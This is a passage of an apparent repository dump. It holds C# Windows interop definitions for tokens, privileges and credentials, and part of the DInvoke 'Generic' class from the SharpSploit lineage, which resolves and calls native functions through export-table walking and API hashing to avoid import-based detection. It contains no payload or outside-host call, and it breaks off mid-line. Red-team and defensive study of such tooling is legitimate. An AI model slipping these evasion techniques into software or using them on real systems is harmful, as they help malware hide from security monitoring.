wProcessorArchitecture;\r\n                public UInt16 wReserved;\r\n                public UInt32 dwPageSize;\r\n                public IntPtr lpMinimumApplicationAddress;\r\n                public IntPtr lpMaximumApplicationAddress;\r\n                public IntPtr dwActiveProcessorMask;\r\n                public UInt32 dwNumberOfProcessors;\r\n                public UInt32 dwProcessorType;\r\n                public UInt32 dwAllocationGranularity;\r\n                public UInt16 wProcessorLevel;\r\n                public UInt16 wProcessorRevision;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _SECURITY_ATTRIBUTES\r\n            {\r\n                UInt32 nLength;\r\n                IntPtr lpSecurityDescriptor;\r\n                Boolean bInheritHandle;\r\n            };\r\n        }\r\n\r\n        public class WinNT\r\n        {\r\n            public const UInt32 PAGE_NOACCESS = 0x01;\r\n            public const UInt32 PAGE_READONLY = 0x02;\r\n            public const UInt32 PAGE_READWRITE = 0x04;\r\n            public const UInt32 PAGE_WRITECOPY = 0x08;\r\n            public const UInt32 PAGE_EXECUTE = 0x10;\r\n            public const UInt32 PAGE_EXECUTE_READ = 0x20;\r\n            public const UInt32 PAGE_EXECUTE_READWRITE = 0x40;\r\n            public const UInt32 PAGE_EXECUTE_WRITECOPY = 0x80;\r\n            public const UInt32 PAGE_GUARD = 0x100;\r\n            public const UInt32 PAGE_NOCACHE = 0x200;\r\n            public const UInt32 PAGE_WRITECOMBINE = 0x400;\r\n            public const UInt32 PAGE_TARGETS_INVALID = 0x40000000;\r\n            public const UInt32 PAGE_TARGETS_NO_UPDATE = 0x40000000;\r\n\r\n            public const UInt32 SEC_COMMIT = 0x08000000;\r\n            public const UInt32 SEC_IMAGE = 0x1000000;\r\n            public const UInt32 SEC_IMAGE_NO_EXECUTE = 0x11000000;\r\n            public const UInt32 SEC_LARGE_PAGES = 0x80000000;\r\n            public const UInt32 SEC_NOCACHE = 0x10000000;\r\n            public const UInt32 SEC_RESERVE = 0x4000000;\r\n            public const UInt32 SEC_WRITECOMBINE = 0x40000000;\r\n\r\n            public const UInt32 SE_PRIVILEGE_ENABLED = 0x2;\r\n            public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1;\r\n            public const UInt32 SE_PRIVILEGE_REMOVED = 0x4;\r\n            public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x3;\r\n\r\n            public const UInt64 SE_GROUP_ENABLED = 0x00000004L;\r\n            public const UInt64 SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002L;\r\n            public const UInt64 SE_GROUP_INTEGRITY = 0x00000020L;\r\n            public const UInt32 SE_GROUP_INTEGRITY_32 = 0x00000020;\r\n            public const UInt64 SE_GROUP_INTEGRITY_ENABLED = 0x00000040L;\r\n            public const UInt64 SE_GROUP_LOGON_ID = 0xC0000000L;\r\n            public const UInt64 SE_GROUP_MANDATORY = 0x00000001L;\r\n            public const UInt64 SE_GROUP_OWNER = 0x00000008L;\r\n            public const UInt64 SE_GROUP_RESOURCE = 0x20000000L;\r\n            public const UInt64 SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010L;\r\n\r\n            public enum _SECURITY_IMPERSONATION_LEVEL\r\n            {\r\n                SecurityAnonymous,\r\n                SecurityIdentification,\r\n                SecurityImpersonation,\r\n                SecurityDelegation\r\n            }\r\n\r\n            public enum TOKEN_TYPE\r\n            {\r\n                TokenPrimary = 1,\r\n                TokenImpersonation\r\n            }\r\n\r\n            public enum _TOKEN_ELEVATION_TYPE\r\n            {\r\n                TokenElevationTypeDefault = 1,\r\n                TokenElevationTypeFull,\r\n                TokenElevationTypeLimited\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _MEMORY_BASIC_INFORMATION32\r\n            {\r\n                public UInt32 BaseAddress;\r\n                public UInt32 AllocationBase;\r\n                public UInt32 AllocationProtect;\r\n                public UInt32 RegionSize;\r\n                public UInt32 State;\r\n                public UInt32 Protect;\r\n                public UInt32 Type;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _MEMORY_BASIC_INFORMATION64\r\n            {\r\n                public UInt64 BaseAddress;\r\n                public UInt64 AllocationBase;\r\n                public UInt32 AllocationProtect;\r\n                public UInt32 __alignment1;\r\n                public UInt64 RegionSize;\r\n                public UInt32 State;\r\n                public UInt32 Protect;\r\n                public UInt32 Type;\r\n                public UInt32 __alignment2;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _LUID_AND_ATTRIBUTES\r\n            {\r\n                public _LUID Luid;\r\n                public UInt32 Attributes;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _LUID\r\n            {\r\n                public UInt32 LowPart;\r\n                public UInt32 HighPart;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _TOKEN_STATISTICS\r\n            {\r\n                public _LUID TokenId;\r\n                public _LUID AuthenticationId;\r\n                public UInt64 ExpirationTime;\r\n                public TOKEN_TYPE TokenType;\r\n                public _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;\r\n                public UInt32 DynamicCharged;\r\n                public UInt32 DynamicAvailable;\r\n                public UInt32 GroupCount;\r\n                public UInt32 PrivilegeCount;\r\n                public _LUID ModifiedId;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _TOKEN_PRIVILEGES\r\n            {\r\n                public UInt32 PrivilegeCount;\r\n                public _LUID_AND_ATTRIBUTES Privileges;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _TOKEN_MANDATORY_LABEL\r\n            {\r\n                public _SID_AND_ATTRIBUTES Label;\r\n            }\r\n\r\n            public struct _SID\r\n            {\r\n                public byte Revision;\r\n                public byte SubAuthorityCount;\r\n                public WinNT._SID_IDENTIFIER_AUTHORITY IdentifierAuthority;\r\n                [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]\r\n                public ulong[] SubAuthority;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _SID_IDENTIFIER_AUTHORITY\r\n            {\r\n                [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)]\r\n                public byte[] Value;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _SID_AND_ATTRIBUTES\r\n            {\r\n                public IntPtr Sid;\r\n                public UInt32 Attributes;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _PRIVILEGE_SET\r\n            {\r\n                public UInt32 PrivilegeCount;\r\n                public UInt32 Control;\r\n                [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]\r\n                public _LUID_AND_ATTRIBUTES[] Privilege;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _TOKEN_USER\r\n            {\r\n                public _SID_AND_ATTRIBUTES User;\r\n            }\r\n\r\n            public enum _SID_NAME_USE\r\n            {\r\n                SidTypeUser = 1,\r\n                SidTypeGroup,\r\n                SidTypeDomain,\r\n                SidTypeAlias,\r\n                SidTypeWellKnownGroup,\r\n                SidTypeDeletedAccount,\r\n                SidTypeInvalid,\r\n                SidTypeUnknown,\r\n                SidTypeComputer,\r\n                SidTypeLabel\r\n            }\r\n\r\n            public enum _TOKEN_INFORMATION_CLASS\r\n            {\r\n                TokenUser = 1,\r\n                TokenGroups,\r\n                TokenPrivileges,\r\n                TokenOwner,\r\n                TokenPrimaryGroup,\r\n                TokenDefaultDacl,\r\n                TokenSource,\r\n                TokenType,\r\n                TokenImpersonationLevel,\r\n                TokenStatistics,\r\n                TokenRestrictedSids,\r\n                TokenSessionId,\r\n                TokenGroupsAndPrivileges,\r\n                TokenSessionReference,\r\n                TokenSandBoxInert,\r\n                TokenAuditPolicy,\r\n                TokenOrigin,\r\n                TokenElevationType,\r\n                TokenLinkedToken,\r\n                TokenElevation,\r\n                TokenHasRestrictions,\r\n                TokenAccessInformation,\r\n                TokenVirtualizationAllowed,\r\n                TokenVirtualizationEnabled,\r\n                TokenIntegrityLevel,\r\n                TokenUIAccess,\r\n                TokenMandatoryPolicy,\r\n                TokenLogonSid,\r\n                TokenIsAppContainer,\r\n                TokenCapabilities,\r\n                TokenAppContainerSid,\r\n                TokenAppContainerNumber,\r\n                TokenUserClaimAttributes,\r\n                TokenDeviceClaimAttributes,\r\n                TokenRestrictedUserClaimAttributes,\r\n                TokenRestrictedDeviceClaimAttributes,\r\n                TokenDeviceGroups,\r\n                TokenRestrictedDeviceGroups,\r\n                TokenSecurityAttributes,\r\n                TokenIsRestricted,\r\n                MaxTokenInfoClass\r\n            }\r\n\r\n            // http://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK\r\n            [Flags]\r\n            public enum ACCESS_MASK : uint\r\n            {\r\n                DELETE = 0x00010000,\r\n                READ_CONTROL = 0x00020000,\r\n                WRITE_DAC = 0x00040000,\r\n                WRITE_OWNER = 0x00080000,\r\n                SYNCHRONIZE = 0x00100000,\r\n                STANDARD_RIGHTS_REQUIRED = 0x000F0000,\r\n                STANDARD_RIGHTS_READ = 0x00020000,\r\n                STANDARD_RIGHTS_WRITE = 0x00020000,\r\n                STANDARD_RIGHTS_EXECUTE = 0x00020000,\r\n                STANDARD_RIGHTS_ALL = 0x001F0000,\r\n                SPECIFIC_RIGHTS_ALL = 0x0000FFF,\r\n                ACCESS_SYSTEM_SECURITY = 0x01000000,\r\n                MAXIMUM_ALLOWED = 0x02000000,\r\n                GENERIC_READ = 0x80000000,\r\n                GENERIC_WRITE = 0x40000000,\r\n                GENERIC_EXECUTE = 0x20000000,\r\n                GENERIC_ALL = 0x10000000,\r\n                DESKTOP_READOBJECTS = 0x00000001,\r\n                DESKTOP_CREATEWINDOW = 0x00000002,\r\n                DESKTOP_CREATEMENU = 0x00000004,\r\n                DESKTOP_HOOKCONTROL = 0x00000008,\r\n                DESKTOP_JOURNALRECORD = 0x00000010,\r\n                DESKTOP_JOURNALPLAYBACK = 0x00000020,\r\n                DESKTOP_ENUMERATE = 0x00000040,\r\n                DESKTOP_WRITEOBJECTS = 0x00000080,\r\n                DESKTOP_SWITCHDESKTOP = 0x00000100,\r\n                WINSTA_ENUMDESKTOPS = 0x00000001,\r\n                WINSTA_READATTRIBUTES = 0x00000002,\r\n                WINSTA_ACCESSCLIPBOARD = 0x00000004,\r\n                WINSTA_CREATEDESKTOP = 0x00000008,\r\n                WINSTA_WRITEATTRIBUTES = 0x00000010,\r\n                WINSTA_ACCESSGLOBALATOMS = 0x00000020,\r\n                WINSTA_EXITWINDOWS = 0x00000040,\r\n                WINSTA_ENUMERATE = 0x00000100,\r\n                WINSTA_READSCREEN = 0x00000200,\r\n                WINSTA_ALL_ACCESS = 0x0000037F,\r\n\r\n                SECTION_ALL_ACCESS = 0x10000000,\r\n                SECTION_QUERY = 0x0001,\r\n                SECTION_MAP_WRITE = 0x0002,\r\n                SECTION_MAP_READ = 0x0004,\r\n                SECTION_MAP_EXECUTE = 0x0008,\r\n                SECTION_EXTEND_SIZE = 0x0010\r\n        };\r\n        }\r\n\r\n        public class ProcessThreadsAPI\r\n        {\r\n            [Flags]\r\n            internal enum STARTF : uint\r\n            {\r\n                STARTF_USESHOWWINDOW = 0x00000001,\r\n                STARTF_USESIZE = 0x00000002,\r\n                STARTF_USEPOSITION = 0x00000004,\r\n                STARTF_USECOUNTCHARS = 0x00000008,\r\n                STARTF_USEFILLATTRIBUTE = 0x00000010,\r\n                STARTF_RUNFULLSCREEN = 0x00000020,\r\n                STARTF_FORCEONFEEDBACK = 0x00000040,\r\n                STARTF_FORCEOFFFEEDBACK = 0x00000080,\r\n                STARTF_USESTDHANDLES = 0x00000100,\r\n            }\r\n\r\n            // https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _STARTUPINFO\r\n            {\r\n                public UInt32 cb;\r\n                public String lpReserved;\r\n                public String lpDesktop;\r\n                public String lpTitle;\r\n                public UInt32 dwX;\r\n                public UInt32 dwY;\r\n                public UInt32 dwXSize;\r\n                public UInt32 dwYSize;\r\n                public UInt32 dwXCountChars;\r\n                public UInt32 dwYCountChars;\r\n                public UInt32 dwFillAttribute;\r\n                public UInt32 dwFlags;\r\n                public UInt16 wShowWindow;\r\n                public UInt16 cbReserved2;\r\n                public IntPtr lpReserved2;\r\n                public IntPtr hStdInput;\r\n                public IntPtr hStdOutput;\r\n                public IntPtr hStdError;\r\n            };\r\n\r\n            //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _STARTUPINFOEX\r\n            {\r\n                _STARTUPINFO StartupInfo;\r\n                // PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;\r\n            };\r\n\r\n            //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _PROCESS_INFORMATION\r\n            {\r\n                public IntPtr hProcess;\r\n                public IntPtr hThread;\r\n                public UInt32 dwProcessId;\r\n                public UInt32 dwThreadId;\r\n            };\r\n        }\r\n\r\n        public class WinCred\r\n        {\r\n#pragma warning disable 0618\r\n            [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\r\n            public struct _CREDENTIAL\r\n            {\r\n                public CRED_FLAGS Flags;\r\n                public UInt32 Type;\r\n                public IntPtr TargetName;\r\n                public IntPtr Comment;\r\n                public FILETIME LastWritten;\r\n                public UInt32 CredentialBlobSize;\r\n                public UInt32 Persist;\r\n                public UInt32 AttributeCount;\r\n                public IntPtr Attributes;\r\n                public IntPtr TargetAlias;\r\n                public IntPtr UserName;\r\n            }\r\n#pragma warning restore 0618\r\n\r\n            public enum CRED_FLAGS : uint\r\n            {\r\n                NONE = 0x0,\r\n                PROMPT_NOW = 0x2,\r\n                USERNAME_TARGET = 0x4\r\n            }\r\n\r\n            public enum CRED_PERSIST : uint\r\n            {\r\n                Session = 1,\r\n                LocalMachine,\r\n                Enterprise\r\n            }\r\n\r\n            public enum CRED_TYPE : uint\r\n            {\r\n                Generic = 1,\r\n                DomainPassword,\r\n                DomainCertificate,\r\n                DomainVisiblePassword,\r\n                GenericCertificate,\r\n                DomainExtended,\r\n                Maximum,\r\n                MaximumEx = Maximum + 1000,\r\n            }\r\n        }\r\n\r\n        public class Secur32\r\n        {\r\n            public struct _SECURITY_LOGON_SESSION_DATA\r\n            {\r\n                public UInt32 Size;\r\n                public WinNT._LUID LoginID;\r\n                public _LSA_UNICODE_STRING Username;\r\n                public _LSA_UNICODE_STRING LoginDomain;\r\n                public _LSA_UNICODE_STRING AuthenticationPackage;\r\n                public UInt32 LogonType;\r\n                public UInt32 Session;\r\n                public IntPtr pSid;\r\n                public UInt64 LoginTime;\r\n                public _LSA_UNICODE_STRING LogonServer;\r\n                public _LSA_UNICODE_STRING DnsDomainName;\r\n                public _LSA_UNICODE_STRING Upn;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct _LSA_UNICODE_STRING\r\n            {\r\n                public UInt16 Length;\r\n                public UInt16 MaximumLength;\r\n                public IntPtr Buffer;\r\n            }\r\n        }  \r\n    }\r\n}"
  },
  {
    "path": "DInvoke.DynamicInvoke/Generic.cs",
    "content": "﻿// Author: Ryan Cobb (@cobbr_io)\r\n// Project: SharpSploit (https://github.com/cobbr/SharpSploit)\r\n// License: BSD 3-Clause\r\n\r\nusing System;\r\nusing System.IO;\r\nusing System.Text;\r\nusing System.Diagnostics;\r\nusing System.Collections.Generic;\r\nusing System.Security.Cryptography;\r\nusing System.Runtime.InteropServices;\r\nusing ManualMap = DInvoke.ManualMap;\r\n\r\nnamespace DInvoke.DynamicInvoke\r\n{\r\n    /// <summary>\r\n    /// Generic is a class for dynamically invoking arbitrary API calls from memory or disk. DynamicInvoke avoids suspicious\r\n    /// P/Invoke signatures, imports, and IAT entries by loading modules and invoking their functions at runtime.\r\n    /// </summary>\r\n    public class Generic\r\n    {\r\n        /// <summary>\r\n        /// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments.\r\n        /// </summary>\r\n        /// <author>The Wover (@TheRealWover)</author>\r\n        /// <param name=\"DLLName\">Name of the DLL.</param>\r\n        /// <param name=\"FunctionName\">Name of the function.</param>\r\n        /// <param name=\"FunctionDelegateType\">Prototype for the function, represented as a Delegate object.</param>\r\n        /// <param name=\"Parameters\">Parameters to pass to the function. Can be modified if function uses call by reference.</param>\r\n        /// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>\r\n        public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)\r\n        {\r\n            IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);\r\n            return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory.\r\n        /// </summary>\r\n        /// <author>The Wover (@TheRealWover)</author>\r\n        /// <param name=\"FunctionPointer\">A pointer to the unmanaged function.</param>\r\n        /// <param name=\"FunctionDelegateType\">Prototype for the function, represented as a Delegate object.</param>\r\n        /// <param name=\"Parameters\">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>\r\n        /// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>\r\n        public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)\r\n        {\r\n            Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);\r\n            return funcDelegate.DynamicInvoke(Parameters);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Resolves LdrLoadDll and uses that function to load a DLL from disk.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"DLLPath\">The path to the DLL on disk. Uses the LoadLibrary convention.</param>\r\n        /// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns>\r\n        public static IntPtr LoadModuleFromDisk(string DLLPath)\r\n        {\r\n            Data.Native.UNICODE_STRING uModuleName = new Data.Native.UNICODE_STRING();\r\n            Native.RtlInitUnicodeString(ref uModuleName, DLLPath);\r\n\r\n            IntPtr hModule = IntPtr.Zero;\r\n            Data.Native.NTSTATUS CallResult = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);\r\n            if (CallResult != Data.Native.NTSTATUS.Success || hModule == IntPtr.Zero)\r\n            {\r\n                return IntPtr.Zero;\r\n            }\r\n\r\n            return hModule;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Helper for getting the pointer to a function from a DLL loaded by the process.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"DLLName\">The name of the DLL (e.g. \"ntdll.dll\" or \"C:\\Windows\\System32\\ntdll.dll\").</param>\r\n        /// <param name=\"FunctionName\">Name of the exported procedure.</param>\r\n        /// <param name=\"CanLoadFromDisk\">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>\r\n        /// <returns>IntPtr for the desired function.</returns>\r\n        public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false, bool ResolveForwards = false)\r\n        {\r\n            IntPtr hModule = GetLoadedModuleAddress(DLLName);\r\n            if (hModule == IntPtr.Zero && CanLoadFromDisk)\r\n            {\r\n                hModule = LoadModuleFromDisk(DLLName);\r\n                if (hModule == IntPtr.Zero)\r\n                {\r\n                    throw new FileNotFoundException(DLLName + \", unable to find the specified file.\");\r\n                }\r\n            }\r\n            else if (hModule == IntPtr.Zero)\r\n            {\r\n                throw new DllNotFoundException(DLLName + \", Dll was not found.\");\r\n            }\r\n\r\n            return GetExportAddress(hModule, FunctionName, ResolveForwards);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Helper for getting the pointer to a function from a DLL loaded by the process.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"DLLName\">The name of the DLL (e.g. \"ntdll.dll\" or \"C:\\Windows\\System32\\ntdll.dll\").</param>\r\n        /// <param name=\"Ordinal\">Ordinal of the exported procedure.</param>\r\n        /// <param name=\"CanLoadFromDisk\">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>\r\n        /// <returns>IntPtr for the desired function.</returns>\r\n        public static IntPtr GetLibraryAddress(string DLLName, short Ordinal, bool CanLoadFromDisk = false, bool ResolveForwards = false)\r\n        {\r\n            IntPtr hModule = GetLoadedModuleAddress(DLLName);\r\n            if (hModule == IntPtr.Zero && CanLoadFromDisk)\r\n            {\r\n                hModule = LoadModuleFromDisk(DLLName);\r\n                if (hModule == IntPtr.Zero)\r\n                {\r\n                    throw new FileNotFoundException(DLLName + \", unable to find the specified file.\");\r\n                }\r\n            }\r\n            else if (hModule == IntPtr.Zero)\r\n            {\r\n                throw new DllNotFoundException(DLLName + \", Dll was not found.\");\r\n            }\r\n\r\n            return GetExportAddress(hModule, Ordinal, ResolveForwards: ResolveForwards);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Helper for getting the pointer to a function from a DLL loaded by the process.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"DLLName\">The name of the DLL (e.g. \"ntdll.dll\" or \"C:\\Windows\\System32\\ntdll.dll\").</param>\r\n        /// <param name=\"FunctionHash\">Hash of the exported procedure.</param>\r\n        /// <param name=\"Key\">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>\r\n        /// <param name=\"CanLoadFromDisk\">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>\r\n        /// <returns>IntPtr for the desired function.</returns>\r\n        public static IntPtr GetLibraryAddress(string DLLName, string FunctionHash, long Key, bool CanLoadFromDisk = false, bool ResolveForwards = false)\r\n        {\r\n            IntPtr hModule = GetLoadedModuleAddress(DLLName);\r\n            if (hModule == IntPtr.Zero && CanLoadFromDisk)\r\n            {\r\n                hModule = LoadModuleFromDisk(DLLName);\r\n                if (hModule == IntPtr.Zero)\r\n                {\r\n                    throw new FileNotFoundException(DLLName + \", unable to find the specified file.\");\r\n                }\r\n            }\r\n            else if (hModule == IntPtr.Zero)\r\n            {\r\n                throw new DllNotFoundException(DLLName + \", Dll was not found.\");\r\n            }\r\n\r\n            return GetExportAddress(hModule, FunctionHash, Key, ResolveForwards: ResolveForwards);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Helper for getting the base address of a module loaded by the current process. This base\r\n        /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for\r\n        /// manual export parsing. This function uses the .NET System.Diagnostics.Process class.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"DLLName\">The name of the DLL (e.g. \"ntdll.dll\").</param>\r\n        /// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>\r\n        public static IntPtr GetLoadedModuleAddress(string DLLName)\r\n        {\r\n            ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;\r\n            foreach (ProcessModule Mod in ProcModules)\r\n            {\r\n                if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))\r\n                {\r\n                    return Mod.BaseAddress;\r\n                }\r\n            }\r\n            return IntPtr.Zero;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Helper for getting the base address of a module loaded by the current process. This base\r\n        /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for\r\n        /// manual export parsing. This function parses the _PEB_LDR_DATA structure.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"DLLName\">The name of the DLL (e.g. \"ntdll.dll\").</param>\r\n        /// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>\r\n        public static IntPtr GetPebLdrModuleEntry(string DLLName)\r\n        {\r\n            // Get _PEB pointer\r\n            Data.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1));\r\n\r\n            // Set function variables\r\n            bool Is32Bit = false;\r\n            UInt32 LdrDataOffset = 0;\r\n            UInt32 InLoadOrderModuleListOffset = 0;\r\n            if (IntPtr.Size == 4)\r\n            {\r\n                Is32Bit = true;\r\n                LdrDataOffset = 0xc;\r\n                InLoadOrderModuleListOffset = 0xC;\r\n            }\r\n            else\r\n            {\r\n                LdrDataOffset = 0x18;\r\n                InLoadOrderModuleListOffset = 0x10;\r\n            }\r\n\r\n            // Get module InLoadOrderModuleList -> _LIST_ENTRY\r\n            IntPtr PEB_LDR_DATA = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + LdrDataOffset));\r\n            IntPtr pInLoadOrderModuleList = (IntPtr)((UInt64)PEB_LDR_DATA + InLoadOrderModuleListOffset);\r\n            Data.Native.LIST_ENTRY le = (Data.Native.LIST_ENTRY)Marshal.PtrToStructure(pInLoadOrderModuleList, typeof(Data.Native.LIST_ENTRY));\r\n\r\n            // Loop entries\r\n            IntPtr flink = le.Flink;\r\n            IntPtr hModule = IntPtr.Zero;\r\n            Data.PE.LDR_DATA_TABLE_ENTRY dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY));\r\n            while (dte.InLoadOrderLinks.Flink != le.Blink)\r\n            {\r\n                // Match module name\r\n                if (Marshal.PtrToStringUni(dte.FullDllName.Buffer).EndsWith(DLLName, StringComparison.OrdinalIgnoreCase))\r\n                {\r\n                    hModule = dte.DllBase;\r\n                }\r\n\r\n                // Move Ptr\r\n                flink = dte.InLoadOrderLinks.Flink;\r\n                dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY));\r\n            }\r\n\r\n            return hModule;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Generate an HMAC-MD5 hash of the supplied string using an Int64 as the key. This is useful for unique hash based API lookups.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"APIName\">API name to hash.</param>\r\n        /// <param name=\"Key\">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>\r\n        /// <returns>string, the computed MD5 hash value.</returns>\r\n        public static string GetAPIHash(string APIName, long Key)\r\n        {\r\n            byte[] data = Encoding.UTF8.GetBytes(APIName.ToLower());\r\n            byte[] kbytes = BitConverter.GetBytes(Key);\r\n\r\n            using (HMACMD5 hmac = new HMACMD5(kbytes))\r\n            {\r\n                byte[] bHash = hmac.ComputeHash(data);\r\n                return BitConverter.ToString(bHash).Replace(\"-\", \"\");\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// Given a module base address, resolve the address of a function by manually walking the module export table.\r\n        /// </summary>\r\n        /// <author>Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"ModuleBase\">A pointer to the base address where the module is loaded in the current process.</param>\r\n        /// <param name=\"ExportName\">The name of the export to search for (e.g. \"NtAlertResumeThread\").</param>\r\n        /// <returns>IntPtr for the desired function.</returns>\r\n        public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName, bool ResolveForwards = false)\r\n        {\r\n            IntPtr FunctionPtr = IntPtr.Zero;\r\n            try\r\n            {\r\n                // Traverse the PE header in memory\r\n                Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));\r\n                Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));\r\n                Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;\r\n                Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);\r\n                Int64 pExport = 0;\r\n                if (Magic == 0x010b)\r\n                {\r\n                    pExport = OptHeader + 0x60;\r\n                }\r\n                else\r\n                {\r\n                    pExport = OptHeader + 0x70;\r\n                }\r\n\r\n                // Read -> IMAGE_EXPORT_DIRECTORY\r\n                Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);\r\n                Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));\r\n                Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));\r\n                Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));\r\n                Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));\r\n                Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));\r\n                Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));\r\n\r\n                // Get the VAs of the name table's beginning and end.\r\n                Int64 NamesBegin = ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA));\r\n                Int64 NamesFinal = NamesBegin + NumberOfNames * 4;\r\n\r\n                // Loop the array of export name RVA's\r\n                for (int i = 0; i < NumberOfNames; i++)\r\n                {\r\n                    string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));\r\n\r\n                    if (FunctionName.Equals(ExportName, 